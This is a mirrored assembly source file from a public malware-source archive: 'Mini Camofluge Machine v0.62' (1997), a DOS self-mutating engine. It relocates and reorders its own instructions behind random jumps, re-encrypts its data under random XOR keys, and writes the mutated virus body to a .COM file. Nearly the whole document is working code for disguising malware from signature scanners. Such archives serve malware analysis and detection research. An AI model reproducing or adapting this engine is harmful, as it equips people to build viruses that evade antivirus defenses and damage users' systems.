mirror of
https://github.com/vxunderground/MalwareSourceCode
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384 lines
17 KiB
NASM
384 lines
17 KiB
NASM
.model tiny
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codeseg
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.8086
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org 100h
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; Mini Camofluge Machine v 0.62
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; (c) 1997 by Pashkovsky Maxim [PARAFFiN]
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;-----------------------------C-O-D-E----------------------------------------
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LengthVirus equ (EndVir-Start)*2
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;***********************I*N*T*S**********************************************
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start:
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i00: call CryptData
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i01: call InitRandom
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i02: call Infect
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i03: mov ax,4C00h
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i04: int 21h
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;============================================================================
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InitRandom proc near
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i05: push es
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i06: mov ax,0040h
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i07: mov es,ax
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i08: mov ax,es:[006ch]
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i09: mov word ptr cs:[rseed],ax
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i10: pop es
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i11: ret
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InitRandom endp
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;============================================================================
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Random proc near ; 16 bit Random number
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i12: push cx
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i13: push bx
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i14: mov bx,word ptr cs:[rvalue]
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i15: mov ax,word ptr cs:[rseed]
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i16: rol ax,1
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i17: sub ax,7
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i18: xor ax,bx
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i19: mov word ptr cs:[rvalue],ax
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i20: mov word ptr cs:[rseed],bx
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i21: mul dx ;(input value) * (delta)
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i22: mov cx,-1
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i23: cmp dx,cx ;verify divide will work
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i24: jae @abort ;jmp if divide will not work
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i25: div cx ;(input value) * (delta) / ffffh
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i26: @abort: pop bx
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i27: pop cx
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i28: ret
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Random endp
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;============================================================================
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VerifyAlloc proc near ; Verify place.
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i29: push ax
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i30: push cx
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i31: mov ax,word ptr cs:[AddrPTR]
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i32: mov bx,offset AddrTab
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i33: sub ax,bx
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i34: push dx ;<=<3D>
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i35: mov cx,2AABh ; | divide ax by 6 = ax/6
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i36: mul cx ; :
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i37: mov cx,dx ; |
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i38: pop dx ;<=<3D>
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i39: @vloop: mov ax,word ptr cs:[bx]
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i40: cmp dx,ax
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i41: jb @vnext
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i42: add ax,word ptr cs:[bx+2]
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i43: cmp dx,ax
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i44: jb @verror
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i45: @vnext: add bx,6
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i46: loop @vloop
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i47: clc
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i48: jmp @vquit
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i49: @verror: stc
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i50: @vquit: pop cx
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i51: pop ax
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i52: ret
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VerifyAlloc endp
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;============================================================================
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Jump proc near ; Make near jump (E9h opcode) to free random place.
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i53: push ax
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i54: mov bx,word ptr cs:[AddrPTR]
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i55: mov word ptr cs:[bx],di
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i56: mov word ptr cs:[bx+2],3
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i57: mov word ptr cs:[bx+4],0
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i58: add word ptr cs:[AddrPTR],6
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i59: mov al,0E9h
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i60: stosb
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i61: @jnew: mov dx,0FFFDh
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i62: call Random
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i63: mov dx,di
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i64: add dx,2
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i65: add dx,ax
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i66: cmp dx,offset code + LengthVirus - 10
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i67: jae @jnew
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i68: cmp dx,offset code
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i69: jbe @jnew
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i70: xor cx,cx
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i71: mov bx,word ptr cs:[LenghtPTR]
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i72: mov cl,byte ptr cs:[bx]
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i73: add cx,3
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i74: @jverify: call VerifyAlloc ; Verify place.
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i75: jc @jnew
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i76: inc dx
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i77: loop @jverify
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i78: @jend: stosw
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i79: add di,ax
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i80: pop ax
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i81: ret
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Jump endp
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;============================================================================
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JumpNear proc near ;Proc for adjust near jump.
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i82: push ax
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i83: mov bx,word ptr cs:[AddrPTR]
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i84: mov word ptr cs:[bx],di ; Build table for near jumps.
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i85: mov word ptr cs:[bx+2],2
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i86: mov word ptr cs:[bx+4],si
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i87: add word ptr cs:[AddrPTR],6
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i88: movsb
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i89: @jnnew: xor ax,ax
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i90: mov dx,0FDh
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i91: call Random
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i92: cmp al,20
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i93: jb @jnnew
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i94: cbw
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i95: mov dx,di
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i96: inc dx
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i97: add dx,ax
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i98: cmp dx,offset code + LengthVirus - 10
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i99: jae @jnnew
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i100: cmp dx,offset code
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i101: jbe @jnnew
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i102: mov cx,3
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i103: @jnverify: call VerifyAlloc ; Verify place.
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i104: jc @jnnew
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i105: inc dx
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i106: loop @jnverify
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i107: stosb
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i108: push di
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i109: add di,ax
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i110: mov bx,word ptr cs:[AddrPTR]
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i111: mov word ptr cs:[bx],di
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i112: mov word ptr cs:[bx+2],3
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i113: mov word ptr cs:[bx+4],0
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i114: add word ptr cs:[AddrPTR],6
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i115: mov al,0E9h
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i116: stosb
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i117: lodsb
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i118: cbw
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i119: push si
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i120: add si,ax
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i121: lodsb
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i122: cmp al,0E9h
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i123: jne @jnnext
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i124: lodsw
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i125: add si,ax
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i126: inc si
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i127: @jnnext: dec si
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i128: mov bx,word ptr cs:[JumpPTR] ;Near jump table.
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i129: mov word ptr cs:[bx],si
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i130: mov word ptr cs:[bx+2],di
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i131: add word ptr cs:[JumpPTR],4
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i132: pop si
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i133: pop di
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i134: pop ax
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i135: ret
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JumpNear endp
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;============================================================================
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CallNear proc near ;Build addr table for near call.
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i136: mov bx,word ptr cs:[JumpPTR]
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i137: mov cx,si
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i138: add cx,3 ;inc cx
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i139: add cx,word ptr cs:[si+1]
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i140: mov word ptr cs:[bx],cx
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i141: mov word ptr cs:[bx+2],di
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i142: inc word ptr cs:[bx+2]
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i143: add word ptr cs:[JumpPTR],4
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i144: ret
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CallNear endp
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;============================================================================
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MoveInst proc near ;Move instruction on new place.
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i145: cmp si,word ptr cs:[CryptMov] ; Verify CryptValue
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i146: jne @NoValue
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i147: mov word ptr cs:[OldCryptMov],si
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i148: mov word ptr cs:[CryptMov],di
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i149: jmp @NoCrypt
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i150: @NoValue: cmp si,word ptr cs:[CryptChg] ; Verify ChangeCrypt
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i151: jne @NoCrypt
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i152: mov word ptr cs:[OldCryptChg],si
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i153: mov word ptr cs:[CryptChg],di
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i154: @NoCrypt: mov bx,word ptr cs:[LenghtPTR] ;====================
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i155: xor cx,cx
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i156: mov cl,byte ptr cs:[bx]
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i157: mov bx,word ptr cs:[AddrPTR]
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i158: mov word ptr cs:[bx],di ;Build table for instr.
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i159: mov word ptr cs:[bx+2],cx
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i160: mov word ptr cs:[bx+4],si
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i161: add word ptr cs:[AddrPTR],6
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i162: rep movsb
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i163: ret
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MoveInst endp
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;============================================================================
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Mutation proc near ;Main loop of mutation.
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i164: mov si,offset start ; SI have OLD! code offset.
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i165: mov di,offset code ; DI have NEW! code offset.
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i166: mov ax,offset EndData-offset LenghtTab-1
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i167: cld
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i168: @m1: cmp byte ptr cs:[si],70h ;<=<3D>
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i169: jb @m2 ; | jumps.
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i170: cmp byte ptr cs:[si],7Fh ;<=<3D>
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i171: jbe @realloc
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i172: @m2: cmp byte ptr cs:[si],0E0h
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i173: jb @m3
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i174: cmp byte ptr cs:[si],0E3h
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i175: jbe @realloc
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i176: @m3: cmp byte ptr cs:[si],0EBh ; short jump.
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i177: je @realloc
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i178: cmp byte ptr cs:[si],0E8h ; near call.
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i179: jne @m4
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i180: call CallNear
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i181: @m4: cmp byte ptr cs:[si],0E9h ; NEAR JUMP !!!
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i182: jne @mend
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i183: mov bx,word ptr cs:[si+1]
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i184: add si,3
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i185: add si,bx
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i186: jmp @m1
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i187: @realloc: call JumpNear
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i188: jmp @mnext
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i189: @mend: call MoveInst
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i190: @mnext: inc word ptr cs:[LenghtPTR]
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i191: mov dx,di
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i192: mov cx,3
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i193: mov bx,word ptr cs:[LenghtPTR]
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i194: add cl,byte ptr cs:[bx]
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i195: @mjverify: call VerifyAlloc ; Verify place.
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i196: jc @mjump
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i197: inc dx
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i198: loop @mjverify
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i199: cmp dx,offset code + LengthVirus - 10
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i200: jae @mjump
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i201: push ax
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i202: mov dx,3h
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i203: call Random
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i204: cmp al,1h
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i205: pop ax
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i206: jne @loop
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i207: @mjump: call Jump
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i208: @loop: dec ax
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i209: jnz @m1 ;============================================
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i210: mov dx,word ptr cs:[JumpPTR] ; Adjust address.
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i211: mov bx,offset JumpTab
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i212: sub dx,bx
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i213: shr dx,1 ; div 4
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i214: shr dx,1 ; <=<3D>
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i215: @mreall: mov di,offset AddrTab
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i216: mov ax,word ptr cs:[bx]
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i217: mov cx,word ptr cs:[AddrPTR]
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i218: sub cx,di
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i219: shr cx,1
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i220: repnz scasw
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i221: jcxz @merror
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i222: mov ax,word ptr cs:[di-6]
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i223: mov di,word ptr cs:[bx+2]
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i224: sub ax,di
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i225: sub ax,2
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i226: stosw
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i227: @merror: add bx,4
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i228: dec dx
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i229: jnz @mreall ;========================================
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i230: mov word ptr cs:[LenghtPTR],offset LenghtTab
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i231: mov word ptr cs:[AddrPTR],offset AddrTab
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i232: mov word ptr cs:[JumpPTR],offset JumpTab
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i233: mov dx,0FFFFh ; Adjust CryptValue.
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i234: call Random
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i235: mov bx,word ptr cs:[CryptMov]
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i236: mov [bx+1],ax
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i237: sub word ptr cs:[CryptMov],offset Code-100h
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i238: mov bx,word ptr cs:[OldCryptMov]
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i239: mov [bx+1],ax ;<===========================
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i240: mov dx,0FFFFh ; Adjust ChangeValue.
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i241: call Random
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i242: mov bx,word ptr cs:[CryptChg]
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i243: mov [bx+2],ax
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i244: sub word ptr cs:[CryptChg],offset Code-100h
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i245: mov bx,word ptr cs:[OldCryptChg]
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i246: mov [bx+2],ax ;<===========================
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i247: call CryptData ; Crypt.
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i248: mov si,offset Data ; Move data.
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i249: mov di,offset AddrTab ; NewData;
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i250: mov cx,EndData-Data
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i251: rep movsb
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i252: ret
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Mutation endp
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;============================================================================
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Infect proc near
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i253: call Message
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i254: mov dx,offset FileName ;Open File
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i255: mov ah,3ch
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i256: xor cx,cx
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i257: int 21h
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i258: mov word ptr cs:[FileHandle],ax
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i259: call Mutation
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i260: mov bx,word ptr cs:[FileHandle] ;Write Virus body
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i261: mov cx,offset EndData - 100h ;offset JumpTab + 512 - 100h
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i262: mov dx,offset Code
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i263: mov ah,40h
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i264: int 21h
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i265: mov bx,word ptr cs:[FileHandle] ;Close file
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i266: mov ah,3Eh
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i267: int 21h
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i268: ret
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Infect endp
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;============================================================================
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Message proc near
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i269: mov dx,offset Copyright
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i270: mov ah,09h
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i271: int 21h
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i272: ret
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Message endp
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;============================================================================
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CryptData proc near ; Crypt data body.
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i273: mov cx,(EndData-Data)/2+1
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i274: mov si,offset Data
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i275: push si
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i276: pop di
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i277: CryptValue db 0BAh,?,? ;mov dx,??h
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i278: @DeCrypt: lodsw
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i279: xor ax,dx
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i280: stosw
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i281: ChangeValue db 81h,0C2h,?,? ;add dx,??h
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i282: loop @DeCrypt
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i283: ret
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i284:
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CryptData endp
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;============================================================================
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EndVir:
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org LengthVirus+100h ;$+300h
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;---------------------------------D-A-T-A------------------------------------
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Data:
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Copyright db '[MCMv0.62(c)Jul1997byPARAFFiN]','$'
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FileName db 'test_mcm.com',0
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LenghtPTR dw offset LenghtTab
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AddrPTR dw offset AddrTab
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JumpPTR dw offset JumpTab
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CryptMov dw offset CryptValue
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CryptChg dw offset ChangeValue
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LenghtTab: ; Instruction lenght table.
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db i01-i00,i02-i01,i03-i02,i04-i03,i05-i04,i06-i05,i07-i06,i08-i07,i09-i08,i10-i09
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db i11-i10,i12-i11,i13-i12,i14-i13,i15-i14,i16-i15,i17-i16,i18-i17,i19-i18,i20-i19
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db i21-i20,i22-i21,i23-i22,i24-i23,i25-i24,i26-i25,i27-i26,i28-i27,i29-i28,i30-i29
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db i31-i30,i32-i31,i33-i32,i34-i33,i35-i34,i36-i35,i37-i36,i38-i37,i39-i38,i40-i39
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db i41-i40,i42-i41,i43-i42,i44-i43,i45-i44,i46-i45,i47-i46,i48-i47,i49-i48,i50-i49
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db i51-i50,i52-i51,i53-i52,i54-i53,i55-i54,i56-i55,i57-i56,i58-i57,i59-i58,i60-i59
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db i61-i60,i62-i61,i63-i62,i64-i63,i65-i64,i66-i65,i67-i66,i68-i67,i69-i68,i70-i69
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db i71-i70,i72-i71,i73-i72,i74-i73,i75-i74,i76-i75,i77-i76,i78-i77,i79-i78,i80-i79
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db i81-i80,i82-i81,i83-i82,i84-i83,i85-i84,i86-i85,i87-i86,i88-i87,i89-i88,i90-i89
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db i91-i90,i92-i91,i93-i92,i94-i93,i95-i94,i96-i95,i97-i96,i98-i97,i99-i98,i100-i99
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db i101-i100,i102-i101,i103-i102,i104-i103,i105-i104,i106-i105,i107-i106,i108-i107,i109-i108,i110-i109
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db i111-i110,i112-i111,i113-i112,i114-i113,i115-i114,i116-i115,i117-i116,i118-i117,i119-i118,i120-i119
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db i121-i120,i122-i121,i123-i122,i124-i123,i125-i124,i126-i125,i127-i126,i128-i127,i129-i128,i130-i129
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db i131-i130,i132-i131,i133-i132,i134-i133,i135-i134,i136-i135,i137-i136,i138-i137,i139-i138,i140-i139
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db i141-i140,i142-i141,i143-i142,i144-i143,i145-i144,i146-i145,i147-i146,i148-i147,i149-i148,i150-i149
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db i151-i150,i152-i151,i153-i152,i154-i153,i155-i154,i156-i155,i157-i156,i158-i157,i159-i158,i160-i159
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db i161-i160,i162-i161,i163-i162,i164-i163,i165-i164,i166-i165,i167-i166,i168-i167,i169-i168,i170-i169
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db i171-i170,i172-i171,i173-i172,i174-i173,i175-i174,i176-i175,i177-i176,i178-i177,i179-i178,i180-i179
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db i181-i180,i182-i181,i183-i182,i184-i183,i185-i184,i186-i185,i187-i186,i188-i187,i189-i188,i190-i189
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db i191-i190,i192-i191,i193-i192,i194-i193,i195-i194,i196-i195,i197-i196,i198-i197,i199-i198,i200-i199
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db i201-i200,i202-i201,i203-i202,i204-i203,i205-i204,i206-i205,i207-i206,i208-i207,i209-i208,i210-i209
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db i211-i210,i212-i211,i213-i212,i214-i213,i215-i214,i216-i215,i217-i216,i218-i217,i219-i218,i220-i219
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db i221-i220,i222-i221,i223-i222,i224-i223,i225-i224,i226-i225,i227-i226,i228-i227,i229-i228,i230-i229
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db i231-i230,i232-i231,i233-i232,i234-i233,i235-i234,i236-i235,i237-i236,i238-i237,i239-i238,i240-i239
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db i241-i240,i242-i241,i243-i242,i244-i243,i245-i244,i246-i245,i247-i246,i248-i247,i249-i248,i250-i249
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db i251-i250,i252-i251,i253-i252,i254-i253,i255-i254,i256-i255,i257-i256,i258-i257,i259-i258,i260-i259
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db i261-i260,i262-i261,i263-i262,i264-i263,i265-i264,i266-i265,i267-i266,i268-i267,i269-i268,i270-i269
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db i271-i270,i272-i271,i273-i272,i274-i273,i275-i274,i276-i275,i277-i276,i278-i277,i279-i278,i280-i279
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db i281-i280,i282-i281,i283-i282,i284-i283,0;i285-i284,i286-i285,i287-i286,i288-i287,i289-i288,i290-i289
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;db i291-i290,i292-i291,i293-i292,i294-i293,i295-i294,i296-i295,i297-i296,i298-i297,i299-i298,i300-i299
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;db i301-i300,i302-i301,i303-i302,i304-i303,i305-i304,i306-i305,i307-i306,i308-i307,i309-i308,i310-i309
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EndData:
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; Official data.
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RSeed dw ?
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RValue dw ?
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FileHandle dw ?
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||
OldCryptMov dw ?
|
||
OldCryptChg dw ?
|
||
Code db LengthVirus dup(?)
|
||
AddrTab db 0B00h dup(?)
|
||
JumpTab db 300h dup(?)
|
||
end start
|